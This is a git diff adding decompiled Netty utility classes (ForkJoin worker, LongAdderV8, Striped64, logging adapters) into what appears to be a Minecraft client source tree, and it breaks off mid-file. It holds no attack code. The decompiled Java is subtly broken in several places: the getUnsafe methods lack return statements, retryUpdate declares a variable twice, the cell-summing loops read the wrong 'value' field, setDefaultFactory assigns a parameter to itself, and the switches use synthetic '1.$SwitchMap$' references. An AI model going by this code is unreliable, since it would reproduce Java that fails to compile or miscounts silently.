+    Object ex = s.readObject();
+    if (ex != null) {
+      setExceptionalCompletion((Throwable)ex);
+    }
+  }
+  
+
+
+
+
+  private static final ReentrantLock exceptionTableLock = new ReentrantLock();
+  private static final ReferenceQueue<Object> exceptionTableRefQueue = new ReferenceQueue();
+  static { exceptionTable = new ExceptionNode[32];
+    try {
+      U = getUnsafe();
+      Class<?> k = ForkJoinTask.class;
+      STATUS = U.objectFieldOffset(k.getDeclaredField("status"));
+    }
+    catch (Exception e) {
+      throw new Error(e);
+    }
+  }
+  
+
+  private static final int EXCEPTION_MAP_CAPACITY = 32;
+  private static final long serialVersionUID = -7721805057305804111L;
+  private static final Unsafe U;
+  private static final long STATUS;
+  private static Unsafe getUnsafe()
+  {
+    try
+    {
+      return Unsafe.getUnsafe();
+    } catch (SecurityException tryReflectionInstead) {
+      try {
+        (Unsafe)AccessController.doPrivileged(new PrivilegedExceptionAction()
+        {
+          public Unsafe run() throws Exception {
+            Class<Unsafe> k = Unsafe.class;
+            for (Field f : k.getDeclaredFields()) {
+              f.setAccessible(true);
+              Object x = f.get(null);
+              if (k.isInstance(x))
+                return (Unsafe)k.cast(x);
+            }
+            throw new NoSuchFieldError("the Unsafe");
+          }
+        });
+      } catch (PrivilegedActionException e) { throw new RuntimeException("Could not initialize intrinsics", e.getCause());
+      }
+    }
+  }
+  
+  public ForkJoinTask() {}
+  
+  void internalPropagateException(Throwable ex) {}
+  
+  public abstract V getRawResult();
+  
+  protected abstract void setRawResult(V paramV);
+  
+  protected abstract boolean exec();
+}
diff --git a/src/minecraft/io/netty/util/internal/chmv8/ForkJoinWorkerThread.java b/src/minecraft/io/netty/util/internal/chmv8/ForkJoinWorkerThread.java
new file mode 100644
index 0000000..e161814
--- /dev/null
+++ b/src/minecraft/io/netty/util/internal/chmv8/ForkJoinWorkerThread.java
@@ -0,0 +1,140 @@
+package io.netty.util.internal.chmv8;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class ForkJoinWorkerThread
+  extends Thread
+{
+  final ForkJoinPool pool;
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  final ForkJoinPool.WorkQueue workQueue;
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  protected ForkJoinWorkerThread(ForkJoinPool pool)
+  {
+    super("aForkJoinWorkerThread");
+    this.pool = pool;
+    workQueue = pool.registerWorker(this);
+  }
+  
+
+
+
+
+  public ForkJoinPool getPool()
+  {
+    return pool;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public int getPoolIndex()
+  {
+    return workQueue.poolIndex >>> 1;
+  }
+  
+
+
+
+
+
+
+
+
+  protected void onStart() {}
+  
+
+
+
+
+
+
+
+
+  protected void onTermination(Throwable exception) {}
+  
+
+
+
+
+
+
+
+  public void run()
+  {
+    Throwable exception = null;
+    try {
+      onStart();
+      pool.runWorker(workQueue);
+    } catch (Throwable ex) {
+      exception = ex;
+    } finally {
+      try {
+        onTermination(exception);
+      } catch (Throwable ex) {
+        if (exception == null)
+          exception = ex;
+      } finally {
+        pool.deregisterWorker(this, exception);
+      }
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/util/internal/chmv8/LongAdderV8.java b/src/minecraft/io/netty/util/internal/chmv8/LongAdderV8.java
new file mode 100644
index 0000000..f1a2350
--- /dev/null
+++ b/src/minecraft/io/netty/util/internal/chmv8/LongAdderV8.java
@@ -0,0 +1,225 @@
+package io.netty.util.internal.chmv8;
+
+import io.netty.util.internal.LongCounter;
+import java.io.IOException;
+import java.io.ObjectInputStream;
+import java.io.ObjectOutputStream;
+import java.io.Serializable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class LongAdderV8
+  extends Striped64
+  implements Serializable, LongCounter
+{
+  private static final long serialVersionUID = 7249069246863182397L;
+  
+  final long fn(long v, long x)
+  {
+    return v + x;
+  }
+  
+
+
+  public LongAdderV8() {}
+  
+
+
+  public void add(long x)
+  {
+    Striped64.Cell[] as;
+    
+    long b;
+    
+    if (((as = cells) != null) || (!casBase(b = base, b + x))) {
+      boolean uncontended = true;
+      int[] hc; int n; Striped64.Cell a; long v; if (((hc = (int[])threadHashCode.get()) == null) || (as == null) || ((n = as.length) < 1) || ((a = as[(n - 1 & hc[0])]) == null) || (!(uncontended = a.cas(v = value, v + x))))
+      {
+
+
+        retryUpdate(x, hc, uncontended);
+      }
+    }
+  }
+  
+
+  public void increment()
+  {
+    add(1L);
+  }
+  
+
+
+  public void decrement()
+  {
+    add(-1L);
+  }
+  
+
+
+
+
+
+
+
+
+  public long sum()
+  {
+    long sum = base;
+    Striped64.Cell[] as = cells;
+    if (as != null) {
+      int n = as.length;
+      for (int i = 0; i < n; i++) {
+        Striped64.Cell a = as[i];
+        if (a != null)
+          sum += value;
+      }
+    }
+    return sum;
+  }
+  
+
+
+
+
+
+
+  public void reset()
+  {
+    internalReset(0L);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public long sumThenReset()
+  {
+    long sum = base;
+    Striped64.Cell[] as = cells;
+    base = 0L;
+    if (as != null) {
+      int n = as.length;
+      for (int i = 0; i < n; i++) {
+        Striped64.Cell a = as[i];
+        if (a != null) {
+          sum += value;
+          value = 0L;
+        }
+      }
+    }
+    return sum;
+  }
+  
+
+
+
+  public String toString()
+  {
+    return Long.toString(sum());
+  }
+  
+
+
+
+
+  public long longValue()
+  {
+    return sum();
+  }
+  
+
+
+
+  public int intValue()
+  {
+    return (int)sum();
+  }
+  
+
+
+
+  public float floatValue()
+  {
+    return (float)sum();
+  }
+  
+
+
+
+  public double doubleValue()
+  {
+    return sum();
+  }
+  
+  private void writeObject(ObjectOutputStream s) throws IOException {
+    s.defaultWriteObject();
+    s.writeLong(sum());
+  }
+  
+  private void readObject(ObjectInputStream s) throws IOException, ClassNotFoundException
+  {
+    s.defaultReadObject();
+    busy = 0;
+    cells = null;
+    base = s.readLong();
+  }
+  
+  public long value()
+  {
+    return sum();
+  }
+}
diff --git a/src/minecraft/io/netty/util/internal/chmv8/Striped64.java b/src/minecraft/io/netty/util/internal/chmv8/Striped64.java
new file mode 100644
index 0000000..c7124e5
--- /dev/null
+++ b/src/minecraft/io/netty/util/internal/chmv8/Striped64.java
@@ -0,0 +1,355 @@
+package io.netty.util.internal.chmv8;
+
+import java.lang.reflect.Field;
+import java.security.AccessController;
+import java.security.PrivilegedActionException;
+import java.security.PrivilegedExceptionAction;
+import java.util.Random;
+import sun.misc.Unsafe;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+abstract class Striped64
+  extends Number
+{
+  static final class Cell
+  {
+    volatile long p0;
+    volatile long p1;
+    volatile long p2;
+    volatile long p3;
+    volatile long p4;
+    volatile long p5;
+    volatile long p6;
+    volatile long value;
+    volatile long q0;
+    volatile long q1;
+    volatile long q2;
+    volatile long q3;
+    volatile long q4;
+    volatile long q5;
+    volatile long q6;
+    private static final Unsafe UNSAFE;
+    private static final long valueOffset;
+    
+    Cell(long x)
+    {
+      value = x;
+    }
+    
+    final boolean cas(long cmp, long val) { return UNSAFE.compareAndSwapLong(this, valueOffset, cmp, val); }
+    
+
+
+    static
+    {
+      try
+      {
+        UNSAFE = Striped64.access$000();
+        Class<?> ak = Cell.class;
+        valueOffset = UNSAFE.objectFieldOffset(ak.getDeclaredField("value"));
+      }
+      catch (Exception e) {
+        throw new Error(e);
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+  static final ThreadLocal<int[]> threadHashCode = new ThreadLocal();
+  
+
+
+
+  static final Random rng = new Random();
+  
+
+  static final int NCPU = Runtime.getRuntime().availableProcessors();
+  
+
+
+  volatile transient Cell[] cells;
+  
+
+
+  volatile transient long base;
+  
+
+
+  volatile transient int busy;
+  
+
+
+  private static final Unsafe UNSAFE;
+  
+
+  private static final long baseOffset;
+  
+
+  private static final long busyOffset;
+  
+
+
+  final boolean casBase(long cmp, long val)
+  {
+    return UNSAFE.compareAndSwapLong(this, baseOffset, cmp, val);
+  }
+  
+
+
+  final boolean casBusy()
+  {
+    return UNSAFE.compareAndSwapInt(this, busyOffset, 0, 1);
+  }
+  
+
+
+
+
+
+
+
+  final void retryUpdate(long x, int[] hc, boolean wasUncontended)
+  {
+    int h;
+    
+
+
+
+
+
+
+    int h;
+    
+
+
+
+
+
+    if (hc == null) {
+      threadHashCode.set(hc = new int[1]);
+      int r = rng.nextInt();
+      h = hc[0] = r == 0 ? 1 : r;
+    }
+    else {
+      h = hc[0]; }
+    boolean collide = false;
+    for (;;) { Cell[] as;
+      int n;
+      if (((as = cells) != null) && ((n = as.length) > 0)) { Cell a;
+        if ((a = as[(n - 1 & h)]) == null) {
+          if (busy == 0) {
+            Cell r = new Cell(x);
+            if ((busy == 0) && (casBusy())) {
+              boolean created = false;
+              try { Cell[] rs;
+                int m;
+                int j; if (((rs = cells) != null) && ((m = rs.length) > 0) && (rs[(j = m - 1 & h)] == null))
+                {
+
+                  rs[j] = r;
+                  created = true;
+                }
+              } finally {
+                busy = 0;
+              }
+              if (!created) continue;
+              break;
+            }
+          }
+          
+          collide = false;
+        }
+        else if (!wasUncontended) {
+          wasUncontended = true; } else { long v;
+          if (a.cas(v = value, fn(v, x)))
+            break;
+          if ((n >= NCPU) || (cells != as)) {
+            collide = false;
+          } else if (!collide) {
+            collide = true;
+          } else if ((busy == 0) && (casBusy())) {
+            try {
+              if (cells == as) {
+                Cell[] rs = new Cell[n << 1];
+                for (int i = 0; i < n; i++)
+                  rs[i] = as[i];
+                cells = rs;
+              }
+            } finally {
+              busy = 0;
+            }
+            collide = false;
+            continue;
+          } }
+        h ^= h << 13;
+        h ^= h >>> 17;
+        h ^= h << 5;
+        hc[0] = h;
+      }
+      else if ((busy == 0) && (cells == as) && (casBusy())) {
+        boolean init = false;
+        try {
+          if (cells == as) {
+            Cell[] rs = new Cell[2];
+            rs[(h & 0x1)] = new Cell(x);
+            cells = rs;
+            init = true;
+          }
+        } finally {
+          busy = 0;
+        }
+        if (init)
+          break;
+      } else { long v;
+        if (casBase(v = base, fn(v, x))) {
+          break;
+        }
+      }
+    }
+  }
+  
+
+  final void internalReset(long initialValue)
+  {
+    Cell[] as = cells;
+    base = initialValue;
+    if (as != null) {
+      int n = as.length;
+      for (int i = 0; i < n; i++) {
+        Cell a = as[i];
+        if (a != null) {
+          value = initialValue;
+        }
+      }
+    }
+  }
+  
+
+  static
+  {
+    try
+    {
+      UNSAFE = getUnsafe();
+      Class<?> sk = Striped64.class;
+      baseOffset = UNSAFE.objectFieldOffset(sk.getDeclaredField("base"));
+      
+      busyOffset = UNSAFE.objectFieldOffset(sk.getDeclaredField("busy"));
+    }
+    catch (Exception e) {
+      throw new Error(e);
+    }
+  }
+  
+
+
+
+
+
+  private static Unsafe getUnsafe()
+  {
+    try
+    {
+      return Unsafe.getUnsafe();
+    } catch (SecurityException localSecurityException) {
+      try {
+        (Unsafe)AccessController.doPrivileged(new PrivilegedExceptionAction()
+        {
+          public Unsafe run() throws Exception {
+            Class<Unsafe> k = Unsafe.class;
+            for (Field f : k.getDeclaredFields()) {
+              f.setAccessible(true);
+              Object x = f.get(null);
+              if (k.isInstance(x))
+                return (Unsafe)k.cast(x);
+            }
+            throw new NoSuchFieldError("the Unsafe");
+          }
+        });
+      } catch (PrivilegedActionException e) { throw new RuntimeException("Could not initialize intrinsics", e.getCause());
+      }
+    }
+  }
+  
+  Striped64() {}
+  
+  abstract long fn(long paramLong1, long paramLong2);
+}
diff --git a/src/minecraft/io/netty/util/internal/logging/AbstractInternalLogger.java b/src/minecraft/io/netty/util/internal/logging/AbstractInternalLogger.java
new file mode 100644
index 0000000..394348f
--- /dev/null
+++ b/src/minecraft/io/netty/util/internal/logging/AbstractInternalLogger.java
@@ -0,0 +1,190 @@
+package io.netty.util.internal.logging;
+
+import io.netty.util.internal.StringUtil;
+import java.io.ObjectStreamException;
+import java.io.Serializable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class AbstractInternalLogger
+  implements InternalLogger, Serializable
+{
+  private static final long serialVersionUID = -6382972526573193470L;
+  private final String name;
+  
+  protected AbstractInternalLogger(String name)
+  {
+    if (name == null) {
+      throw new NullPointerException("name");
+    }
+    this.name = name;
+  }
+  
+  public String name()
+  {
+    return name;
+  }
+  
+  public boolean isEnabled(InternalLogLevel level)
+  {
+    switch (1.$SwitchMap$io$netty$util$internal$logging$InternalLogLevel[level.ordinal()]) {
+    case 1: 
+      return isTraceEnabled();
+    case 2: 
+      return isDebugEnabled();
+    case 3: 
+      return isInfoEnabled();
+    case 4: 
+      return isWarnEnabled();
+    case 5: 
+      return isErrorEnabled();
+    }
+    throw new Error();
+  }
+  
+
+  public void log(InternalLogLevel level, String msg, Throwable cause)
+  {
+    switch (1.$SwitchMap$io$netty$util$internal$logging$InternalLogLevel[level.ordinal()]) {
+    case 1: 
+      trace(msg, cause);
+      break;
+    case 2: 
+      debug(msg, cause);
+      break;
+    case 3: 
+      info(msg, cause);
+      break;
+    case 4: 
+      warn(msg, cause);
+      break;
+    case 5: 
+      error(msg, cause);
+      break;
+    default: 
+      throw new Error();
+    }
+  }
+  
+  public void log(InternalLogLevel level, String msg)
+  {
+    switch (1.$SwitchMap$io$netty$util$internal$logging$InternalLogLevel[level.ordinal()]) {
+    case 1: 
+      trace(msg);
+      break;
+    case 2: 
+      debug(msg);
+      break;
+    case 3: 
+      info(msg);
+      break;
+    case 4: 
+      warn(msg);
+      break;
+    case 5: 
+      error(msg);
+      break;
+    default: 
+      throw new Error();
+    }
+  }
+  
+  public void log(InternalLogLevel level, String format, Object arg)
+  {
+    switch (1.$SwitchMap$io$netty$util$internal$logging$InternalLogLevel[level.ordinal()]) {
+    case 1: 
+      trace(format, arg);
+      break;
+    case 2: 
+      debug(format, arg);
+      break;
+    case 3: 
+      info(format, arg);
+      break;
+    case 4: 
+      warn(format, arg);
+      break;
+    case 5: 
+      error(format, arg);
+      break;
+    default: 
+      throw new Error();
+    }
+  }
+  
+  public void log(InternalLogLevel level, String format, Object argA, Object argB)
+  {
+    switch (1.$SwitchMap$io$netty$util$internal$logging$InternalLogLevel[level.ordinal()]) {
+    case 1: 
+      trace(format, argA, argB);
+      break;
+    case 2: 
+      debug(format, argA, argB);
+      break;
+    case 3: 
+      info(format, argA, argB);
+      break;
+    case 4: 
+      warn(format, argA, argB);
+      break;
+    case 5: 
+      error(format, argA, argB);
+      break;
+    default: 
+      throw new Error();
+    }
+  }
+  
+  public void log(InternalLogLevel level, String format, Object... arguments)
+  {
+    switch (1.$SwitchMap$io$netty$util$internal$logging$InternalLogLevel[level.ordinal()]) {
+    case 1: 
+      trace(format, arguments);
+      break;
+    case 2: 
+      debug(format, arguments);
+      break;
+    case 3: 
+      info(format, arguments);
+      break;
+    case 4: 
+      warn(format, arguments);
+      break;
+    case 5: 
+      error(format, arguments);
+      break;
+    default: 
+      throw new Error();
+    }
+  }
+  
+  protected Object readResolve() throws ObjectStreamException {
+    return InternalLoggerFactory.getInstance(name());
+  }
+  
+  public String toString()
+  {
+    return StringUtil.simpleClassName(this) + '(' + name() + ')';
+  }
+}
diff --git a/src/minecraft/io/netty/util/internal/logging/CommonsLogger.java b/src/minecraft/io/netty/util/internal/logging/CommonsLogger.java
new file mode 100644
index 0000000..d209360
--- /dev/null
+++ b/src/minecraft/io/netty/util/internal/logging/CommonsLogger.java
@@ -0,0 +1,564 @@
+package io.netty.util.internal.logging;
+
+import org.apache.commons.logging.Log;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+class CommonsLogger
+  extends AbstractInternalLogger
+{
+  private static final long serialVersionUID = 8647838678388394885L;
+  private final transient Log logger;
+  
+  CommonsLogger(Log logger, String name)
+  {
+    super(name);
+    if (logger == null) {
+      throw new NullPointerException("logger");
+    }
+    this.logger = logger;
+  }
+  
+
+
+
+
+  public boolean isTraceEnabled()
+  {
+    return logger.isTraceEnabled();
+  }
+  
+
+
+
+
+
+
+  public void trace(String msg)
+  {
+    logger.trace(msg);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void trace(String format, Object arg)
+  {
+    if (logger.isTraceEnabled()) {
+      FormattingTuple ft = MessageFormatter.format(format, arg);
+      logger.trace(ft.getMessage(), ft.getThrowable());
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void trace(String format, Object argA, Object argB)
+  {
+    if (logger.isTraceEnabled()) {
+      FormattingTuple ft = MessageFormatter.format(format, argA, argB);
+      logger.trace(ft.getMessage(), ft.getThrowable());
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public void trace(String format, Object... arguments)
+  {
+    if (logger.isTraceEnabled()) {
+      FormattingTuple ft = MessageFormatter.arrayFormat(format, arguments);
+      logger.trace(ft.getMessage(), ft.getThrowable());
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+  public void trace(String msg, Throwable t)
+  {
+    logger.trace(msg, t);
+  }
+  
+
+
+
+
+  public boolean isDebugEnabled()
+  {
+    return logger.isDebugEnabled();
+  }
+  
+
+
+
+
+
+
+
+
+  public void debug(String msg)
+  {
+    logger.debug(msg);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void debug(String format, Object arg)
+  {
+    if (logger.isDebugEnabled()) {
+      FormattingTuple ft = MessageFormatter.format(format, arg);
+      logger.debug(ft.getMessage(), ft.getThrowable());
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void debug(String format, Object argA, Object argB)
+  {
+    if (logger.isDebugEnabled()) {
+      FormattingTuple ft = MessageFormatter.format(format, argA, argB);
+      logger.debug(ft.getMessage(), ft.getThrowable());
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public void debug(String format, Object... arguments)
+  {
+    if (logger.isDebugEnabled()) {
+      FormattingTuple ft = MessageFormatter.arrayFormat(format, arguments);
+      logger.debug(ft.getMessage(), ft.getThrowable());
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+  public void debug(String msg, Throwable t)
+  {
+    logger.debug(msg, t);
+  }
+  
+
+
+
+
+  public boolean isInfoEnabled()
+  {
+    return logger.isInfoEnabled();
+  }
+  
+
+
+
+
+
+
+  public void info(String msg)
+  {
+    logger.info(msg);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void info(String format, Object arg)
+  {
+    if (logger.isInfoEnabled()) {
+      FormattingTuple ft = MessageFormatter.format(format, arg);
+      logger.info(ft.getMessage(), ft.getThrowable());
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void info(String format, Object argA, Object argB)
+  {
+    if (logger.isInfoEnabled()) {
+      FormattingTuple ft = MessageFormatter.format(format, argA, argB);
+      logger.info(ft.getMessage(), ft.getThrowable());
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public void info(String format, Object... arguments)
+  {
+    if (logger.isInfoEnabled()) {
+      FormattingTuple ft = MessageFormatter.arrayFormat(format, arguments);
+      logger.info(ft.getMessage(), ft.getThrowable());
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+  public void info(String msg, Throwable t)
+  {
+    logger.info(msg, t);
+  }
+  
+
+
+
+
+  public boolean isWarnEnabled()
+  {
+    return logger.isWarnEnabled();
+  }
+  
+
+
+
+
+
+
+  public void warn(String msg)
+  {
+    logger.warn(msg);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void warn(String format, Object arg)
+  {
+    if (logger.isWarnEnabled()) {
+      FormattingTuple ft = MessageFormatter.format(format, arg);
+      logger.warn(ft.getMessage(), ft.getThrowable());
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void warn(String format, Object argA, Object argB)
+  {
+    if (logger.isWarnEnabled()) {
+      FormattingTuple ft = MessageFormatter.format(format, argA, argB);
+      logger.warn(ft.getMessage(), ft.getThrowable());
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public void warn(String format, Object... arguments)
+  {
+    if (logger.isWarnEnabled()) {
+      FormattingTuple ft = MessageFormatter.arrayFormat(format, arguments);
+      logger.warn(ft.getMessage(), ft.getThrowable());
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public void warn(String msg, Throwable t)
+  {
+    logger.warn(msg, t);
+  }
+  
+
+
+
+
+  public boolean isErrorEnabled()
+  {
+    return logger.isErrorEnabled();
+  }
+  
+
+
+
+
+
+
+  public void error(String msg)
+  {
+    logger.error(msg);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void error(String format, Object arg)
+  {
+    if (logger.isErrorEnabled()) {
+      FormattingTuple ft = MessageFormatter.format(format, arg);
+      logger.error(ft.getMessage(), ft.getThrowable());
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void error(String format, Object argA, Object argB)
+  {
+    if (logger.isErrorEnabled()) {
+      FormattingTuple ft = MessageFormatter.format(format, argA, argB);
+      logger.error(ft.getMessage(), ft.getThrowable());
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public void error(String format, Object... arguments)
+  {
+    if (logger.isErrorEnabled()) {
+      FormattingTuple ft = MessageFormatter.arrayFormat(format, arguments);
+      logger.error(ft.getMessage(), ft.getThrowable());
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+  public void error(String msg, Throwable t)
+  {
+    logger.error(msg, t);
+  }
+}
diff --git a/src/minecraft/io/netty/util/internal/logging/CommonsLoggerFactory.java b/src/minecraft/io/netty/util/internal/logging/CommonsLoggerFactory.java
new file mode 100644
index 0000000..3c9b4c7
--- /dev/null
+++ b/src/minecraft/io/netty/util/internal/logging/CommonsLoggerFactory.java
@@ -0,0 +1,36 @@
+package io.netty.util.internal.logging;
+
+import java.util.HashMap;
+import java.util.Map;
+import org.apache.commons.logging.LogFactory;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class CommonsLoggerFactory
+  extends InternalLoggerFactory
+{
+  Map<String, InternalLogger> loggerMap = new HashMap();
+  
+  public CommonsLoggerFactory() {}
+  
+  public InternalLogger newInstance(String name) { return new CommonsLogger(LogFactory.getLog(name), name); }
+}
diff --git a/src/minecraft/io/netty/util/internal/logging/FormattingTuple.java b/src/minecraft/io/netty/util/internal/logging/FormattingTuple.java
new file mode 100644
index 0000000..325237e
--- /dev/null
+++ b/src/minecraft/io/netty/util/internal/logging/FormattingTuple.java
@@ -0,0 +1,88 @@
+package io.netty.util.internal.logging;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+class FormattingTuple
+{
+  static final FormattingTuple NULL = new FormattingTuple(null);
+  private final String message;
+  private final Throwable throwable;
+  private final Object[] argArray;
+  
+  FormattingTuple(String message)
+  {
+    this(message, null, null);
+  }
+  
+  FormattingTuple(String message, Object[] argArray, Throwable throwable) {
+    this.message = message;
+    this.throwable = throwable;
+    if (throwable == null) {
+      this.argArray = argArray;
+    } else {
+      this.argArray = trimmedCopy(argArray);
+    }
+  }
+  
+  static Object[] trimmedCopy(Object[] argArray) {
+    if ((argArray == null) || (argArray.length == 0)) {
+      throw new IllegalStateException("non-sensical empty or null argument array");
+    }
+    int trimemdLen = argArray.length - 1;
+    Object[] trimmed = new Object[trimemdLen];
+    System.arraycopy(argArray, 0, trimmed, 0, trimemdLen);
+    return trimmed;
+  }
+  
+  public String getMessage() {
+    return message;
+  }
+  
+  public Object[] getArgArray() {
+    return argArray;
+  }
+  
+  public Throwable getThrowable() {
+    return throwable;
+  }
+}
diff --git a/src/minecraft/io/netty/util/internal/logging/InternalLogLevel.java b/src/minecraft/io/netty/util/internal/logging/InternalLogLevel.java
new file mode 100644
index 0000000..8ddd02d
--- /dev/null
+++ b/src/minecraft/io/netty/util/internal/logging/InternalLogLevel.java
@@ -0,0 +1,8 @@
+package io.netty.util.internal.logging;
+
+public enum InternalLogLevel
+{
+  TRACE,  DEBUG,  INFO,  WARN,  ERROR;
+  
+  private InternalLogLevel() {}
+}
diff --git a/src/minecraft/io/netty/util/internal/logging/InternalLogger.java b/src/minecraft/io/netty/util/internal/logging/InternalLogger.java
new file mode 100644
index 0000000..94001fe
--- /dev/null
+++ b/src/minecraft/io/netty/util/internal/logging/InternalLogger.java
@@ -0,0 +1,78 @@
+package io.netty.util.internal.logging;
+
+public abstract interface InternalLogger
+{
+  public abstract String name();
+  
+  public abstract boolean isTraceEnabled();
+  
+  public abstract void trace(String paramString);
+  
+  public abstract void trace(String paramString, Object paramObject);
+  
+  public abstract void trace(String paramString, Object paramObject1, Object paramObject2);
+  
+  public abstract void trace(String paramString, Object... paramVarArgs);
+  
+  public abstract void trace(String paramString, Throwable paramThrowable);
+  
+  public abstract boolean isDebugEnabled();
+  
+  public abstract void debug(String paramString);
+  
+  public abstract void debug(String paramString, Object paramObject);
+  
+  public abstract void debug(String paramString, Object paramObject1, Object paramObject2);
+  
+  public abstract void debug(String paramString, Object... paramVarArgs);
+  
+  public abstract void debug(String paramString, Throwable paramThrowable);
+  
+  public abstract boolean isInfoEnabled();
+  
+  public abstract void info(String paramString);
+  
+  public abstract void info(String paramString, Object paramObject);
+  
+  public abstract void info(String paramString, Object paramObject1, Object paramObject2);
+  
+  public abstract void info(String paramString, Object... paramVarArgs);
+  
+  public abstract void info(String paramString, Throwable paramThrowable);
+  
+  public abstract boolean isWarnEnabled();
+  
+  public abstract void warn(String paramString);
+  
+  public abstract void warn(String paramString, Object paramObject);
+  
+  public abstract void warn(String paramString, Object... paramVarArgs);
+  
+  public abstract void warn(String paramString, Object paramObject1, Object paramObject2);
+  
+  public abstract void warn(String paramString, Throwable paramThrowable);
+  
+  public abstract boolean isErrorEnabled();
+  
+  public abstract void error(String paramString);
+  
+  public abstract void error(String paramString, Object paramObject);
+  
+  public abstract void error(String paramString, Object paramObject1, Object paramObject2);
+  
+  public abstract void error(String paramString, Object... paramVarArgs);
+  
+  public abstract void error(String paramString, Throwable paramThrowable);
+  
+  public abstract boolean isEnabled(InternalLogLevel paramInternalLogLevel);
+  
+  public abstract void log(InternalLogLevel paramInternalLogLevel, String paramString);
+  
+  public abstract void log(InternalLogLevel paramInternalLogLevel, String paramString, Object paramObject);
+  
+  public abstract void log(InternalLogLevel paramInternalLogLevel, String paramString, Object paramObject1, Object paramObject2);
+  
+  public abstract void log(InternalLogLevel paramInternalLogLevel, String paramString, Object... paramVarArgs);
+  
+  public abstract void log(InternalLogLevel paramInternalLogLevel, String paramString, Throwable paramThrowable);
+}
diff --git a/src/minecraft/io/netty/util/internal/logging/InternalLoggerFactory.java b/src/minecraft/io/netty/util/internal/logging/InternalLoggerFactory.java
new file mode 100644
index 0000000..f746060
--- /dev/null
+++ b/src/minecraft/io/netty/util/internal/logging/InternalLoggerFactory.java
@@ -0,0 +1,88 @@
+package io.netty.util.internal.logging;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class InternalLoggerFactory
+{
+  private static volatile InternalLoggerFactory defaultFactory = newDefaultFactory(InternalLoggerFactory.class.getName());
+  
+  public InternalLoggerFactory() {}
+  
+  private static InternalLoggerFactory newDefaultFactory(String name) {
+    InternalLoggerFactory f;
+    try {
+      f = new Slf4JLoggerFactory(true);
+      f.newInstance(name).debug("Using SLF4J as the default logging framework");
+    } catch (Throwable t1) {
+      try {
+        f = new Log4JLoggerFactory();
+        f.newInstance(name).debug("Using Log4J as the default logging framework");
+      } catch (Throwable t2) {
+        f = new JdkLoggerFactory();
+        f.newInstance(name).debug("Using java.util.logging as the default logging framework");
+      }
+    }
+    return f;
+  }
+  
+
+
+
+  public static InternalLoggerFactory getDefaultFactory()
+  {
+    return defaultFactory;
+  }
+  
+
+
+  public static void setDefaultFactory(InternalLoggerFactory defaultFactory)
+  {
+    if (defaultFactory == null) {
+      throw new NullPointerException("defaultFactory");
+    }
+    defaultFactory = defaultFactory;
+  }
+  
+
+
+  public static InternalLogger getInstance(Class<?> clazz)
+  {
+    return getInstance(clazz.getName());
+  }
+  
+
+
+  public static InternalLogger getInstance(String name)
+  {
+    return getDefaultFactory().newInstance(name);
+  }
+  
+  protected abstract InternalLogger newInstance(String paramString);
+}
diff --git a/src/minecraft/io/netty/util/internal/logging/JdkLogger.java b/src/minecraft/io/netty/util/internal/logging/JdkLogger.java
new file mode 100644
index 0000000..8913ee5
--- /dev/null
+++ b/src/minecraft/io/netty/util/internal/logging/JdkLogger.java
@@ -0,0 +1,647 @@
+package io.netty.util.internal.logging;
+
+import java.util.logging.Level;
+import java.util.logging.LogRecord;
+import java.util.logging.Logger;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+class JdkLogger
+  extends AbstractInternalLogger
+{
+  private static final long serialVersionUID = -1767272577989225979L;
+  final transient Logger logger;
+  
+  JdkLogger(Logger logger)
+  {
+    super(logger.getName());
+    this.logger = logger;
+  }
+  
+
+
+
